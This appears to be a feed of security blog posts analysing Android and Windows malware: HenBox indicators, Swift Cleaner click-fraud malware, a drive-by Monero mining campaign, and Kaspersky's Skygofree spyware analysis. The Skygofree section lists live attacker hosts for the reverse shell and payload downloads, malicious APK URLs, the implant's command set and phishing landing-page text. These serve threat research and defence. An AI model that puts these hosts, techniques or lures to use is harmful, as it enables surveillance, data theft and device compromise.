14e2e6bbcc68650bfd7c1eb374401eb606c7417dfae7bebb4bf86909e2ff524d

6a5998faa2be7d8b44f23cd5e02c9e3fa4a22bdba32e4663780aa035bddef239

b45e4ac7a790a7c6364cd93e371e548756f621028380c850059954340c0f13dc

b82785a6d488798c43f9dba0dd3f6cf8a4b03b308203452f641456dde09bedd8 

PlugX

45c64508382f41056bed1a6d95927225791fe8fcd8ee9a9a133968b93c19e39f

9002

b2966c2702285d2cad851bae72fe22136d7975a2a50b43a855447703146c63f0

1b168603010e5179d001f78e47176296776938dde2351ca2250f2977eff043d0

C11b963e2df167766e32b14fb05fd71409092092db93b310a953e1d0e9ec9bc3

Zupdax

ce0a078d12698cfca9c4a00dcb6cb2425956538f271e6a151a0e646677ed4ae9

ffc3f886d142c5df35b8eb1c2aee77e553a74657b6054e596e8347b4f0c0975e

Domains and IPs

60.191.57[.]35

47.90.81[.]23

222.139.212[.]16

59.188.196[.]172

222.239.91[.]30

work.andphocen[.]com

andphocen[.]com

w3.ezua[.]com

lala513.gicp[.]net

logitechwkgame[.]com

www5.zyns[.]com

www3.mefound[.]com

w3.changeip[.]org

admin.nslookupdns[.]com

cdncool[.]com

dns.cdncool[.]com

tcpdo[.]net

3w.tcpdo[.]net

md5c[.]net

jackhex.md5c[.]net

up.outhmail[.]com

outhmail[.]com

queryurl[.]com

update.queryurl[.]com

re.queryurl[.]com

mail.queryurl[.]com

adminsysteminfo[.]com

info.adminsysteminfo[.]com

The post HenBox: The Chickens Come Home to Roost appeared first on Palo Alto Networks Blog.

Go to Source
Author: Alex Hinchliffe

Kotlin-based malicious apps penetrate Google market

An open-source programming language, Kotlin is a fully-supported official programming language for Android. Google boasts that Kotlin contains safety features in order to make apps “healthy by default.” Many apps are already built with Kotlin, from the hottest startups to Fortune 500 companies. (Twitter, Uber, Pinterest)

Concise while being expressive, Kotlin reduces the amount of boilerplate code needed to create an app—which makes it much safer. However, as revealed by Trend Micro researchers, the first samples of Android malware created using Kotlin were found on Google Play. Introducing: Swift Cleaner, a utility tool built with Kotlin that claims to clean and optimize Android devices.

This malicious app is capable of remote command execution, can steal personal information, carry out click fraud, and sign users up to premium SMS subscription services without their permission. So much for safe.

Analyze this

Subsequently, after launching Swift Cleaner, the first thing the malware does is call PspManager.initSDK, check the phone number, and send an SMS message to the particular number that is given by the C&C server. The app initiates this to check for a SIM card presence and if mobile carrier services are available.

Upon server interaction, the malicious part of the app launches URL forwarding and click fraud activities. Click fraud is an illegal practice that occurs when individuals click on a website’s advertisements (either banner ads or paid text links) to increase the payable number of clicks to the advertiser. In our case, the app clicks on a URL, which leads you to a survey. At the end of the survey, you are given an opportunity to get some free services if you click on the claim link. By clicking the button, you will then be redirected to another possibly malicious website.

Meanwhile, Swift Cleaner collects personal information from the infected mobile device, such as the International Mobile Equipment Identity (IMEI), International Mobile Subscriber Identity (IMSI), and information about the SIM card. The stolen information is then encrypted and sent to the remote Command and Control (C&C) server.

There are services that run in the background in order to communicate with a C&C server. Swift Cleaner compromises one of these services: the Wireless Application Protocol (WAP). WAP is a technical standard for accessing information over a mobile wireless network.

The app is using WAP in conjunction with JavaScript in order to bolt on CAPTCHA bypass functionality, using mobile data and analyzing the image base64 code. CAPTCHA images are parsed and cracked, and the image data will later be uploaded to the C&C server. This data is needed to train the neural network. Later on, all the image samples will be useful for finding the best match for each character of the new upcoming CAPTCHA.

Premium SMS service

The Swift Cleaner malware also uploads information about the user’s service provider along with login information and similar sensitive data to the C&C server. This can automatically sign users up for a premium SMS service, which will cost money.

Premium rate SMS is a way of mobile billing where user pays for a premium service by either receiving or sending a message. There are two ways this billing service works:

  1. Mobile Originated (MO): where the mobile user pays to send a message (used for once-off services, such as competitions)
  2. Mobile Terminated (MT): where the mobile user pays to receive a message (used for subscription services)

Our example app uses the premium SMS MO service, and redirects users to webpages where they can select to send a message.

Neverending story

As of now, Google has removed the fake Swift Cleaner apps carrying this new malware from the Play Store. However, even if Google states that their protection is on a high level, there appears to be no fail-proof way to stop malware from entering the Play store. By using a quality mobile anti-malware scanner as second layer of protection, you can stay safe even when Google Play Protect fails. We (as always) recommend Malwarebytes for Android. Stay safe out there!

The post Kotlin-based malicious apps penetrate Google market appeared first on Malwarebytes Labs.

Go to Source
Author: Gleb Malygin

Drive-by cryptomining campaign targets millions of Android users

Malvertising and online fraud through forced redirects and Trojanized apps—to cite the two most common examples—are increasingly plaguing Android users. In many cases, this is made worse by the fact that people often don’t use web filtering or security applications on their mobile devices.

A particular group is seizing this opportunity to deliver one of the most lucrative payloads at the moment: drive-by cryptomining for the Monero (XMR) currency. In a campaign we first observed in late January, but which appears to have started at least around November 2017, millions of mobile users (we believe Android devices are targeted) have been redirected to a specifically designed page performing in-browser cryptomining.

In our previous research on drive-by mining, we defined this technique as automated, without user consent, and mostly silent (apart from the noise coming out of the victim’s computer fan when their CPU is clocked at 100 percent). Here, however, visitors are presented with a CAPTCHA to solve in order to prove that they aren’t bots, but rather real humans.

“Your device is showing suspicious surfing behaviour. Please prove that you are human by solving the captcha.”

Until the code (w3FaSO5R) is entered and you press the Continue button, your phone or tablet will be mining Monero at full speed, maxing out the device’s processor.

Redirection mechanism

The discovery came while we were investigating a separate malware campaign dubbed EITest in late January. We were testing various malvertising chains that often lead to tech support scams with an Internet Explorer or Chrome user-agent on Windows. However, when we switched to an Android, we were redirected via a series of hops to that cryptomining page.

It seems odd that a static code (which is also hardcoded in the page’s source) would efficiently validate traffic between human and bot. Similarly, upon clicking the Continue button, users are redirected to the Google home page, another odd choice for having proved you were not a robot.

While Android users may be redirected from regular browsing, we believe that infected apps containing ad modules are loading similar chains leading to this cryptomining page. This is unfortunately common in the Android ecosystem, especially with so-called “free” apps.

It’s possible that this particular campaign is going after low quality traffic—but not necessarily bots —and rather than serving typical ads that might be wasted, they chose to make a profit using a browser-based Monero miner.

We identified several identical domains all using the same CAPTCHA code, and yet having different Coinhive site keys (see our indicators of compromise for the full details). The first one was registered in late November 2017, and new domains have been created since then, always with the same template.

Domain name, registration date

Traffic stats

We believe there are several more domains than just the few that we caught, but even this small subset is enough to give us an idea of the scope behind this campaign. We shared two of the most active sites with ad fraud researcher Dr. Augustine Fou, who ran some stats via the SimilarWeb web analytics service. This confirmed our suspicions that the majority of traffic came via mobile and spiked in January.

We estimate that the traffic combined from the five domains we identified so far equals to about 800,000 visits per day, with an average time of four minutes spent on the mining page. To find out the number of hashes that would be produced, we could take a conservative hash rate of 10 h/s based on a benchmark of ARM processors.

It is difficult to determine how much Monero currency this operation is currently yielding without knowing how many other domains (and therefore total traffic) are out there. Because of the low hash rate and the limited time spent mining, we estimate this scheme is probably only netting a few thousand dollars each month. However, as cryptocurrencies continue to gain value, this amount could easily be multiplied a few times over.

Conclusion

The threat landscape has changed dramatically over the past few months, with many actors jumping on the cryptocurrency bandwagon. Malware-based miners, as well as their web-based counterparts, are booming and offering online criminals new revenue sources.

Forced cryptomining is now also affecting mobile phones and tablets en masse—not only via Trojanized apps, but also via redirects and pop-unders. We strongly advise users to run the same security tools they have on their PC on their mobile devices, because unwanted cryptomining is not only a nuisance but can also cause permanent damage.

Malwarebytes mobile users are protected against this threat.

Indicators of compromise

Domains:

rcyclmnr[].com
rcylpd[.]com
recycloped[.]com
rcyclmnrhgntry[.]com
rcyclmnrepv[.]com

Referring websites (please note that they should not be necessarily considered malicious):

panelsave[.]com
offerreality[.]com
thewise[.]com
go.bestmobiworld[.]com
questionfly[.]com
goldoffer[.]online
exdynsrv[.]com
thewhizmarketing[.]com
laserveradedomaina[.]com
thewhizproducts[.]com
smartoffer[.]site
formulawire[.]com
machieved[.]com
wtm.monitoringservice[.]co
traffic.tc-clicks[.]com
stonecalcom[.]com
nametraff[.]com
becanium[.]com
afflow.18-plus[.]net
serie-vostfr[.]com
pertholin[.]com
yrdrtzmsmt[.]com
yrdrtzmsmt.com
traffic.tc-clicks[.]com

Conhive site keys:

gufKH0i0u47VVmUMCga8oNnjRKi1EbxL
P3IN11cxuF4kf2kviM1a7MntCPu00WTG
zEqkQef50Irljpr1X3BqbHdGjMWnNyCd
rNYyUQUC5iQLdKafFS9Gi2jTVZKX8Vlq

The post Drive-by cryptomining campaign targets millions of Android users appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura

Skygofree: New Government Malware for Android

At the beginning of October 2017, we discovered new Android spyware with several features previously unseen in the wild. In the course of further research, we found a number of related samples that point to a long-term development process. We believe the initial versions of this malware were created at least three years ago – at the end of 2014. Since then, the implant’s functionality has been improving and remarkable new features implemented, such as the ability to record audio surroundings via the microphone when an infected device is in a specified location; the stealing of WhatsApp messages via Accessibility Services; and the ability to connect an infected device to Wi-Fi networks controlled by cybercriminals.

We observed many web landing pages that mimic the sites of mobile operators and which are used to spread the Android implants. These domains have been registered by the attackers since 2015. According to our telemetry, that was the year the distribution campaign was at its most active. The activities continue: the most recently observed domain was registered on October 31, 2017. Based on our KSN statistics, there are several infected individuals, exclusively in Italy.

Moreover, as we dived deeper into the investigation, we discovered several spyware tools for Windows that form an implant for exfiltrating sensitive data on a targeted machine. The version we found was built at the beginning of 2017, and at the moment we are not sure whether this implant has been used in the wild.

We named the malware Skygofree, because we found the word in one of the domains*.

Malware Features

Android

According to the observed samples and their signatures, early versions of this Android malware were developed by the end of 2014 and the campaign has remained active ever since.

Signature of one of the earliest versions

The code and functionality have changed numerous times; from simple unobfuscated malware at the beginning to sophisticated multi-stage spyware that gives attackers full remote control of the infected device. We have examined all the detected versions, including the latest one that is signed by a certificate valid from September 14, 2017.

The implant provides the ability to grab a lot of exfiltrated data, like call records, text messages, geolocation, surrounding audio, calendar events, and other memory information stored on the device.

After manual launch, it shows a fake welcome notification to the user:

Dear Customer, we’re updating your configuration and it will be ready as soon as possible.

At the same time, it hides an icon and starts background services to hide further actions from the user.

Service Name Purpose
AndroidAlarmManager Uploading last recorded .amr audio
AndroidSystemService Audio recording
AndroidSystemQueues Location tracking with movement detection
ClearSystems GSM tracking (CID, LAC, PSC)
ClipService Clipboard stealing
AndroidFileManager Uploading all exfiltrated data
AndroidPush XMPP С&C protocol (url.plus:5223)
RegistrationService Registration on C&C via HTTP (url.plus/app/pro/)

Interestingly, a self-protection feature was implemented in almost every service. Since in Android 8.0 (SDK API 26) the system is able to kill idle services, this code raises a fake update notification to prevent it:

Cybercriminals have the ability to control the implant via HTTP, XMPP, binary SMS and FirebaseCloudMessaging (or GoogleCloudMessaging in older versions) protocols. Such a diversity of protocols gives the attackers more flexible control. In the latest implant versions there are 48 different commands. You can find a full list with short descriptions in the Appendix. Here are some of the most notable:

  • ‘geofence’ – this command adds a specified location to the implant’s internal database and when it matches a device’s current location the malware triggers and begins to record surrounding audio.
  • ”social” – this command that starts the ‘AndroidMDMSupport’ service – this allows the files of any other installed application to be grabbed. The service name makes it clear that by applications the attackers mean MDM solutions that are business-specific tools. The operator can specify a path with the database of any targeted application and server-side PHP script name for uploading.

    Several hardcoded applications targeted by the MDM-grabbing command

  • ‘wifi’ – this command creates a new Wi-Fi connection with specified configurations from the command and enable Wi-Fi if it is disabled. So, when a device connects to the established network, this process will be in silent and automatic mode. This command is used to connect the victim to a Wi-Fi network controlled by the cybercriminals to perform traffic sniffing and man-in-the-middle (MitM) attacks.

    addWifiConfig method code fragments

  • ‘camera’ – this command records a video/capture a photo using the front-facing camera when someone next unlocks the device.

Some versions of the Skygofree feature the self-protection ability exclusively for Huawei devices. There is a ‘protected apps’ list in this brand’s smartphones, related to a battery-saving concept. Apps not selected as protected apps stop working once the screen is off and await re-activation, so the implant is able to determine that it is running on a Huawei device and add itself to this list. Due to this feature, it is clear that the developers paid special attention to the work of the implant on Huawei devices.

Also, we found a debug version of the implant (70a937b2504b3ad6c623581424c7e53d) that contains interesting constants, including the version of the spyware.

Debug BuildConfig with the version

After a deep analysis of all discovered versions of Skygofree, we made an approximate timeline of the implant’s evolution.

Mobile implant evolution timeline

However, some facts indicate that the APK samples from stage two can also be used separately as the first step of the infection. Below is a list of the payloads used by the Skygofree implant in the second and third stages.

Reverse shell payload

The reverse shell module is an external ELF file compiled by the attackers to run on Android. The choice of a particular payload is determined by the implant’s version, and it can be downloaded from the command and control (C&C) server soon after the implant starts, or after a specific command. In the most recent case, the choice of the payload zip file depends on the device process architecture. For now, we observe only one payload version for following the ARM CPUs: arm64-v8a, armeabi, armeabi-v7a.

Note that in almost all cases, this payload file, contained in zip archives, is named ‘setting’ or ‘setting.o’.

The main purpose of this module is providing reverse shell features on the device by connecting with the C&C server’s socket.

Reverse shell payload

The payload is started by the main module with a specified host and port as a parameter that is hardcoded to ‘54.67.109.199’ and ‘30010’ in some versions:

Alternatively, they could be hardcoded directly into the payload code:

We also observed variants that were equipped with similar reverse shell payloads directly in the main APK /lib/ path.

Equipped reverse shell payload with specific string

After an in-depth look, we found that some versions of the reverse shell payload code share similarities with PRISM – a stealth reverse shell backdoor that is available on Github.

Reverse shell payload from update_dev.zip

Exploit payload

At the same time, we found an important payload binary that is trying to exploit several known vulnerabilities and escalate privileges. According to several timestamps, this payload is used by implant versions created since 2016. It can also be downloaded by a specific command. The exploit payload contains following file components:

Component name Description
run_root_shell/arrs_put_user.o/arrs_put_user/poc Exploit ELF
db Sqlite3 tool ELF
device.db Sqlite3 database with supported devices and their constants needed for privilege escalation

‘device.db’ is a database used by the exploit. It contains two tables – ‘supported_devices’ and ‘device_address’. The first table contains 205 devices with some Linux properties; the second contains the specific memory addresses associated with them that are needed for successful exploitation. You can find a full list of targeted models in the Appendix.

Fragment of the database with targeted devices and specific memory addresses

If the infected device is not listed in this database, the exploit tries to discover these addresses programmatically.

After downloading and unpacking, the main module executes the exploit binary file. Once executed, the module attempts to get root privileges on the device by exploiting the following vulnerabilities:

CVE-2013-2094
CVE-2013-2595
CVE-2013-6282
CVE-2014-3153 (futex aka TowelRoot)
CVE-2015-3636

Exploitation process

After an in-depth look, we found that the exploit payload code shares several similarities with the public project android-rooting-tools.

Decompiled exploit function code fragment

run_with_mmap function from the android-rooting-tools project

As can be seen from the comparison, there are similar strings and also a unique comment in Italian, so it looks like the attackers created this exploit payload based on android-rooting-tools project source code.

Busybox payload

Busybox is public software that provides several Linux tools in a single ELF file. In earlier versions, it operated with shell commands like this:

Stealing WhatsApp encryption key with Busybox

Social payload

Actually, this is not a standalone payload file – in all the observed versions its code was compiled with exploit payload in one file (‘poc_perm’, ‘arrs_put_user’, ‘arrs_put_user.o’). This is due to the fact that the implant needs to escalate privileges before performing social payload actions. This payload is also used by the earlier versions of the implant. It has similar functionality to the ‘AndroidMDMSupport’ command from the current versions – stealing data belonging to other installed applications. The payload will execute shell code to steal data from various applications. The example below steals Facebook data:

All the other hardcoded applications targeted by the payload:

Package name Name
jp.naver.line.android LINE: Free Calls & Messages
com.facebook.orca Facebook messenger
com.facebook.katana Facebook
com.whatsapp WhatsApp
com.viber.voip Viber

Parser payload

Upon receiving a specific command, the implant can download a special payload to grab sensitive information from external applications. The case where we observed this involved WhatsApp.

In the examined version, it was downloaded from:

hxxp://url[.]plus/Updates/tt/parser.apk

The payload can be a .dex or .apk file which is a Java-compiled Android executable. After downloading, it will be loaded by the main module via DexClassLoader api:

As mentioned, we observed a payload that exclusively targets the WhatsApp messenger and it does so in an original way. The payload uses the Android Accessibility Service to get information directly from the displayed elements on the screen, so it waits for the targeted application to be launched and then parses all nodes to find text messages:

Note that the implant needs special permission to use the Accessibility Service API, but there is a command that performs a request with a phishing text displayed to the user to obtain such permission.

Windows

We have found multiple components that form an entire spyware system for the Windows platform.

Name MD5 Purpose
msconf.exe 55fb01048b6287eadcbd9a0f86d21adf Main module, reverse shell
network.exe f673bb1d519138ced7659484c0b66c5b Sending exfiltrated data
system.exe d3baa45ed342fbc5a56d974d36d5f73f Surrounding sound recording by mic
update.exe 395f9f87df728134b5e3c1ca4d48e9fa Keylogging
wow.exe 16311b16fd48c1c87c6476a455093e7a Screenshot capturing
skype_sync2.exe 6bcc3559d7405f25ea403317353d905f Skype call recording to MP3

All modules, except skype_sync2.exe, are written in Python and packed to binary files via the Py2exe tool. This sort of conversion allows Python code to be run in a Windows environment without pre-installed Python binaries.

msconf.exe is the main module that provides control of the implant and reverse shell feature. It opens a socket on the victim’s machine and connects with a server-side component of the implant located at 54.67.109.199:6500. Before connecting with the socket, it creates a malware environment in ‘APPDATA/myupd’ and creates a sqlite3 database there – ‘myupd_tmp\\mng.db’:

CREATE TABLE MANAGE(ID INT PRIMARY KEY NOT NULL,Send INT NOT NULL, Keylogg INT NOT NULL,Screenshot INT NOT NULL,Audio INT NOT NULL);
INSERT INTO MANAGE (ID,Send,Keylogg,Screenshot,Audio) VALUES (1, 1, 1, 1, 0 )

Finally, the malware modifies the ‘Software\Microsoft\Windows\CurrentVersion\Run’ registry key to enable autostart of the main module.

The code contains multiple comments in Italian, here is the most noteworthy example:

“Receive commands from the remote server, here you can set the key commands to command the virus”

Here are the available commands:

Name Description
cd Change current directory to specified
quit Close the socket
nggexe Execute received command via Python’s subprocess.Popen() without outputs
ngguploads Upload specified file to the specified URL
nggdownloads Download content from the specified URLs and save to specified file
nggfilesystem Dump file structure of the C: path, save it to the file in json format and zip it
nggstart_screen
nggstop_screen
Enable/disable screenshot module. When enabled, it makes a screenshot every 25 seconds
nggstart_key
nggstop_key
Enable/disable keylogging module
nggstart_rec
nggstop_rec
Enable/disable surrounding sounds recording module
ngg_status Send components status to the C&C socket
*any other* Execute received command via Python’s subprocess.Popen(), output result will be sent to the C&C socket.

All modules set hidden attributes to their files:

Module Paths Exfiltrated data format
msconf.exe %APPDATA%/myupd/gen/ %Y%m%d-%H%M%S_filesystem.zip (file structure dump)
system.exe %APPDATA%/myupd/aud/ %d%m%Y%H%M%S.wav (surrounding sounds)
update.exe %APPDATA%/myupd_tmp/txt/
%APPDATA%/myupd/txt/
%Y%m%d-%H%M%S.txt (keylogging)
wow.exe %APPDATA%/myupd/scr/ %Y%m%d-%H%M%S.jpg (screenshots)
skype_sync2.exe %APPDATA%/myupd_tmp/skype/
%APPDATA%/myupd/skype/
yyyyMMddHHmmss_in.mp3
yyyyMMddHHmmss_out.mp3
(skype calls records)

Moreover, we found one module written in .Net – skype_sync2.exe. The main purpose of this module is to exfiltrate Skype call recordings. Just like the previous modules, it contains multiple strings in Italian.

After launch, it downloads a codec for MP3 encoding directly from the C&C server:

http://54.67.109.199/skype_resource/libmp3lame.dll

The skype_sync2.exe module has a compilation timestamp – Feb 06 2017 and the following PDB string:

\\vmware-host\Shared
Folders\dati\Backup\Projects\REcodin_2\REcodin_2\obj\x86\Release\REcodin_2.pdb

network.exe is a module for submitting all exfiltrated data to the server. In the observed version of the implant it doesn’t have an interface to work with the skype_sync2.exe module.

network.exe submitting to the server code snippet

Code similarities

We found some code similarities between the implant for Windows and other public accessible projects.

  • https://github.com/El3ct71k/Keylogger/

It appears the developers have copied the functional part of the keylogger module from this project.

update.exe module and Keylogger by ‘El3ct71k’ code comparison

update.exe module and Xenotix Python Keylogger code comparison

‘addStartup’ method from msconf.exe module

‘addStartup’ method from Xenotix Python Keylogger

Distribution

We found several landing pages that spread the Android implants.

Malicious URL Referrer Dates
http://217.194.13.133/tre/internet/Configuratore_3.apk http://217.194.13.133/tre/internet/ 2015-02-04 to
present time
http://217.194.13.133/appPro_AC.apk 2015-07-01
http://217.194.13.133/190/configurazione/vodafone/smartphone/VODAFONE%20Configuratore%20v5_4_2.apk http://217.194.13.133/190/configurazione/vodafone/smartphone/index.html 2015-01-20 to
present time
http://217.194.13.133/190/configurazione/vodafone/smartphone/Vodafone%20Configuratore.apk http://217.194.13.133/190/configurazione/vodafone/smartphone/index.html currently active
http://vodafoneinfinity.sytes.net/tim/internet/Configuratore_TIM.apk http://vodafoneinfinity.sytes.net/tim/internet/ 2015-03-04
http://vodafoneinfinity.sytes.net/190/configurazione/vodafone/smartphone/VODAFONE%20Configuratore%20v5_4_2.apk http://vodafoneinfinity.sytes.net/190/configurazione/vodafone/smartphone/ 2015-01-14
http://windupdate.serveftp.com/wind/LTE/WIND%20Configuratore%20v5_4_2.apk http://windupdate.serveftp.com/wind/LTE/ 2015-03-31
http://119.network/lte/Internet-TIM-4G-LTE.apk http://119.network/lte/download.html 2015-02-04
2015-07-20
http://119.network/lte/Configuratore_TIM.apk 2015-07-08

Many of these domains are outdated, but almost all (except one – appPro_AC.apk) samples located on the 217.194.13.133 server are still accessible. All the observed landing pages mimic the mobile operators’ web pages through their domain name and web page content as well.

Landing web pages that mimic the Vodafone and Three mobile operator sites

NETWORK CONFIGURATION
** AGG. 2.3.2015 ***
Dear Customer, in order to avoid malfunctions to your internet connection, we encourage you to upgrade your configuration. Download the update now and keep on navigating at maximum speed!
DOWNLOAD NOW
Do you doubt how to configure your smartphone?
Follow the simple steps below and enter the Vodafone Fast Network.
Installation Guide
Download
Click on the DOWNLOAD button you will find on this page and download the application on your smartphone.
Set your Smartphone
Go to Settings-> Security for your device and put a check mark on Unknown Sources (some models are called Sources Unknown).
Install
Go to notifications on your device (or directly in the Downloads folder) and click Vodafone Configuration Update to install.
Try high speed
Restart your device and wait for confirmation sms. Your smartphone is now configured.

Further research of the attacker’s infrastructure revealed more related mimicking domains.

Unfortunately, for now we can’t say in what environment these landing pages were used in the wild, but according to all the information at our dsiposal, we can assume that they are perfect for exploitation using malicious redirects or man-in-the-middle attacks. For example, this could be when the victim’s device connects to a Wi-Fi access point that is infected or controlled by the attackers.

Artifacts

During the research, we found plenty of traces of the developers and those doing the maintaining.

  • As already stated in the ‘malware features’ part, there are multiple giveaways in the code. Here are just some of them:
ngglobal – FirebaseCloudMessaging topic name
Issuer: CN = negg – from several certificates
negg.ddns[.]net, negg1.ddns[.]net, negg2.ddns[.]net – C&C servers
NG SuperShell – string from the reverse shell payload
ngg – prefix in commands names of the implant for Windows

Signature with specific issuer

    • Whois records and IP relationships provide many interesting insights as well. There are a lot of other ‘Negg’ mentions in Whois records and references to it. For example:

Conclusions

The Skygofree Android implant is one of the most powerful spyware tools that we have ever seen for this platform. As a result of the long-term development process, there are multiple, exceptional capabilities: usage of multiple exploits for gaining root privileges, a complex payload structure, never-before-seen surveillance features such as recording surrounding audio in specified locations.

Given the many artifacts we discovered in the malware code, as well as infrastructure analysis, we are pretty confident that the developer of the Skygofree implants is an Italian IT company that works on surveillance solutions, just like HackingTeam.

Notes

*Skygofree has no connection to Sky, Sky Go or any other subsidiary of Sky, and does not affect the Sky Go service or app.

 Skygofree Appendix — Indicators of Compromise (PDF)

Go to Source